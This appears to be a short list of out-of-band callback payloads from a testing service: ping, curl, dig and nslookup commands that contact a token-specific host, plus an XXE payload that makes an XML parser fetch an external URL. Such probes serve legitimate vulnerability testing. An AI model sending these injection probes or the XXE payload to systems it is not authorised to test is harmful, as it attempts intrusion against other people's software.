$ ping -c1 -p 00887687dcdcc531b1d0f0bcc22e1500 unhack.ca
 

$ curl http://unhack.ca/p/887687dcdcc531b1d0f0bcc22e15
 

$ dig 887687dcdcc531b1d0f0bcc22e15 @unhack.ca
 

$ dig 887687dcdcc531b1d0f0bcc22e15.ns.unhack.ca
 

C:\> nslookup 887687dcdcc531b1d0f0bcc22e15 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/887687dcdcc531b1d0f0bcc22e15">]>
    <foo>&xxe;</foo>